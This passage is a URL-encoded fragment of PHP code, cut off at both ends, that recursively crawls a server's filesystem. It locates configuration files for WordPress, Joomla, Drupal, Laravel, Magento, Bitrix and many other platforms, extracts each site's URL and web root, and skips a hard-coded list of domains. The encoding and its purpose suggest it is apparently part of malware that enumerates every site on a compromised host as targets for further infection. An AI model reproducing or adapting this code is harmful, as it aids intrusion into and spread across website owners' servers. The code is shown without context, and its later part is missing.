%20%24m%5B1%5D%2C%20%27typo3%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_modx%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20%28strpos%28%24c%2C%20%27%24database_dsn%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27modx%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27%24table_prefix%27%29%20%3D%3D%3D%20false%29%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24c%2C%20%27MODX_%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27%24database_dsn%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24site_url%5C%5Cs%2A%3D%5C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%5C%5C%5C%24modx_site_url%5C%5Cs%2A%3D%5C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%5B%27%5C%22%5Dsite_url%5B%27%5C%22%5D%5C%5Cs%2A%3D%3E%5C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28%24p%29%2C%20%24m%5B1%5D%2C%20%27modx%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_processwire%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20%28strpos%28%24c%2C%20%27ProcessWire%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27%24config-%3EhttpHosts%27%29%20%3D%3D%3D%20false%29%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24config%5C%5Cs%2A-%3E%5C%5Cs%2AhttpHosts%5C%5Cs%2A%3D%5C%5Cs%2Aarray%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%5C%5C%5C%24config%5C%5Cs%2A-%3E%5C%5Cs%2AhttpHosts%5C%5Cs%2A%3D%5C%5Cs%2A%5C%5C%5B%5C%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24host%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%20%20%20%20%24scheme%20%3D%20%28strpos%28%24c%2C%20%22httpsForce%22%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24c%2C%20%22%27https%27%22%29%20%21%3D%3D%20false%29%20%3F%20%27https%3A//%27%20%3A%20%27http%3A//%27%3B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20if%20%28basename%28%24doc%29%20%3D%3D%3D%20%27site%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24doc%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24scheme%20.%20%24host%2C%20%27processwire%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_october%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24c%2C%20%27activeTheme%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27backendUri%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5B%27%5C%22%5Durl%5B%27%5C%22%5D%5C%5Cs%2A%3D%3E%5C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28dirname%28%24p%29%29%3B%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24m%5B1%5D%2C%20%27october%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_craft%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24c%2C%20%27CRAFT_%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27PRIMARY_SITE_URL%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24url%20%3D%20null%3B%20%20%20%20%20if%20%28preg_match%28%22/%5E%5Cs%2APRIMARY_SITE_URL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%3F%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%5C%5Cs%27%5C%22%5D%2B%29/m%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24url%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20elseif%20%28preg_match%28%22/%5E%5Cs%2ACRAFT_BASE_CP_URL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%3F%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%5C%5Cs%27%5C%22%5D%2B%29/m%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24url%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%24url%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20%24web%20%3D%20%24doc%20.%20%27/web%27%3B%20%20%20%20%20%20%20%20%20if%20%28%40is_dir%28%24web%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24doc%20%3D%20%24web%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24url%2C%20%27craft%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_shopware%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24root%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%24is_sw%20%3D%20%28stripos%28%24c%2C%20%27SHOPWARE%27%29%20%21%3D%3D%20false%29%20%20%20%20%20%20%20%20%20%7C%7C%20%40is_dir%28%24root%20.%20%27/custom/plugins%27%29%20%20%20%20%20%20%20%20%20%7C%7C%20%40is_file%28%24root%20.%20%27/composer.json%27%29%20%26%26%20strpos%28%28string%29%40file_get_contents%28%24root%20.%20%27/composer.json%27%29%2C%20%27shopware/%27%29%20%21%3D%3D%20false%3B%20%20%20%20%20if%20%28%21%24is_sw%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%40is_file%28%24root%20.%20%27/artisan%27%29%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5E%5Cs%2AAPP_URL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%3F%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%5C%5Cs%27%5C%22%5D%2B%29/m%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24pub%20%3D%20%24root%20.%20%27/public%27%3B%20%20%20%20%20%20%20%20%20emit_found%28%40is_dir%28%24pub%29%20%3F%20%24pub%20%3A%20%24root%2C%20%24m%5B1%5D%2C%20%27shopware%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_laravel%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5E%5Cs%2AAPP_URL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%3F%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D%3F/m%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24path_root%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21%40is_file%28%24path_root%20.%20%27/artisan%27%29%29%20return%3B%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%20.%20%27/public%27%3B%20%20%20%20%20%20%20%20%20if%20%28%21%40is_dir%28%24path_public%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24path_public%2C%20%24m%5B1%5D%2C%20%27laravel%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_codeigniter3%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24config%5Cs%2A%5C%5B%5Cs%2A%5B%27%5C%22%5Dbase_url%5B%27%5C%22%5D%5Cs%2A%5C%5D%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28dirname%28%24p%29%29%2C%20%24m%5B1%5D%2C%20%27codeigniter3%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_codeigniter4%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24baseURL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24path_root%20%3D%20dirname%28dirname%28dirname%28%24p%29%29%29%3B%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%20.%20%27/public%27%3B%20%20%20%20%20%20%20%20%20if%20%28%21%40is_dir%28%24path_public%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24path_public%2C%20%24m%5B1%5D%2C%20%27codeigniter4%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_cakephp%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5B%27%5C%22%5DfullBaseUrl%5B%27%5C%22%5D%5Cs%2A%3D%3E%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%5B%27%5C%22%5DfullBaseUrl%5B%27%5C%22%5D%5Cs%2A%3D%3E%5Cs%2Aenv%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5B%5E%27%5C%22%5D%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D%5Cs%2A%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24path_root%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20%24path_webroot%20%3D%20%24path_root%20.%20%27/webroot%27%3B%20%20%20%20%20%20%20%20%20if%20%28%21%40is_dir%28%24path_webroot%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_webroot%20%3D%20%24path_root%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24path_webroot%2C%20%24m%5B1%5D%2C%20%27cakephp%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_symfony%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20%24path_root%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20if%20%28%40is_file%28%24path_root%20.%20%27/artisan%27%29%29%20return%3B%20%20%20%20%20if%20%28stripos%28%24c%2C%20%27SHOPWARE%27%29%20%21%3D%3D%20false%20%7C%7C%20%40is_dir%28%24path_root%20.%20%27/custom/plugins%27%29%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5E%5Cs%2AAPP_URL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%3F%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D%3F/m%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%5E%5Cs%2APUBLIC_URL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%3F%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D%3F/m%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28%21%40is_file%28%24path_root%20.%20%27/bin/console%27%29%29%20return%3B%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%20.%20%27/public%27%3B%20%20%20%20%20%20%20%20%20if%20%28%40is_dir%28%24path_public%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_out%20%3D%20%24path_public%3B%20%20%20%20%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_web%20%3D%20%24path_root%20.%20%27/web%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_out%20%3D%20%40is_dir%28%24path_web%29%20%3F%20%24path_web%20%3A%20%24path_root%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24path_out%2C%20%24m%5B1%5D%2C%20%27symfony%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_kohana%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5B%27%5C%22%5Dbase_url%5B%27%5C%22%5D%5Cs%2A%3D%3E%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24path_root%20%3D%20%28strpos%28%24p%2C%20%27application/%27%29%20%21%3D%3D%20false%29%20%3F%20dirname%28dirname%28%24p%29%29%20%3A%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20emit_found%28%24path_root%2C%20%24m%5B1%5D%2C%20%27kohana%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_fuelphp%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5B%27%5C%22%5Dbase_url%5B%27%5C%22%5D%5Cs%2A%3D%3E%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24path_fuel%20%3D%20dirname%28dirname%28%24p%29%29%3B%20%20%20%20%20%20%20%20%20%24path_root%20%3D%20dirname%28%24path_fuel%29%3B%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%20.%20%27/public%27%3B%20%20%20%20%20%20%20%20%20if%20%28%21%40is_dir%28%24path_public%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24path_public%2C%20%24m%5B1%5D%2C%20%27fuelphp%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_bitrix%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20strpos%28%24p%2C%20%27bitrix%27%29%20%3D%3D%3D%20false%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5B%27%5C%22%5Dvalue%5B%27%5C%22%5D%5Cs%2A%3D%3E%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28dirname%28%24p%29%29%2C%20%24m%5B1%5D%2C%20%27bitrix%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20%24existed%20%3D%20%5B%22pdrelaxguesthouse.dev%22%2C%22gymdailyfitness.com%22%2C%22affisecret.com%22%5D%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%09%09%09if%20%28%24path%20%3D%3D%3D%20%27/%27%20%7C%7C%20%24path%20%3D%3D%3D%20%27%27%29%20%7B%20%09%09%09%09%24p%20%3D%20%24path%20.%20%24file%3B%20%09%09%09%7D%20else%20%7B%20%09%09%09%09%24p%20%3D%20%24path%20.%20%27/%27%20.%20%24file%3B%20%09%09%09%7D%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24found%20%3D%20false%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20foreach%20%28%24existed%20as%20%24domain%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24p%2C%20%24domain%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24found%20%3D%20true%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20break%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24found%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_wp%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27configuration.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%21scan_joomla%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_whmcs%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27settings.php%27%20%26%26%20%28strpos%28%24p%2C%20%27sites/%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27sites%5C%5C%27%29%20%21%3D%3D%20false%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_drupal%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27LocalSettings.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_mediawiki%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27LocalConfiguration.php%27%20%7C%7C%20%28%24file%20%3D%3D%20%27settings.php%27%20%26%26%20%28strpos%28%24p%2C%20%27typo3conf%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27typo3%27%29%20%21%3D%3D%20false%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_typo3%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27config.inc.php%27%20%26%26%20%28strpos%28%24p%2C%20%27modx%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27core/config%27%29%20%21%3D%3D%20false%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_modx%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%28%24file%20%3D%3D%20%27parameters.php%27%20%7C%7C%20%24file%20%3D%3D%20%27settings.inc.php%27%29%20%26%26%20%28strpos%28%24p%2C%20%27/config%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27%5C%5Cconfig%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27/app/%27%29%20%21%3D%3D%20false%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24head%20%3D%20%28string%29%40file_get_contents%28%24p%2C%20false%2C%20null%2C%200%2C%204000%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strpos%28%24head%2C%20%27database_host%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24head%2C%20%27_DB_SERVER_%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24head%2C%20%27prestashop%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24head%2C%20%27ps_%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_prestashop%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27env.php%27%20%26%26%20%28strpos%28%24p%2C%20%27app/etc%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27app%5C%5Cetc%27%29%20%21%3D%3D%20false%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_magento%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27cms.php%27%20%26%26%20strpos%28%24p%2C%20%27config/%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_october%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27config.php%27%20%26%26%20strpos%28%24p%2C%20%27/site/%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_processwire%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24head%20%3D%20%28string%29%40file_get_contents%28%24p%2C%20false%2C%20null%2C%200%2C%208000%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strpos%28%24head%2C%20%27%24CFG%27%29%20%21%3D%3D%20false%20%26%26%20strpos%28%24head%2C%20%27wwwroot%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_moodle%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28strpos%28%24head%2C%20%27DIR_APPLICATION%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24head%2C%20%27HTTP_SERVER%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_opencart%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28strpos%28%24p%2C%20%27application/config%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_codeigniter3%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28strpos%28%24p%2C%20%27fuel/%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_fuelphp%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27.settings.php%27%20%26%26%20strpos%28%24p%2C%20%27bitrix%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_bitrix%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27.env%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_laravel%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_shopware%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_craft%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_symfony%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27App.php%27%20%26%26%20strpos%28%24p%2C%20%27app/Config%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_codeigniter4%28%24p%29%3B%20%20%20%20%20%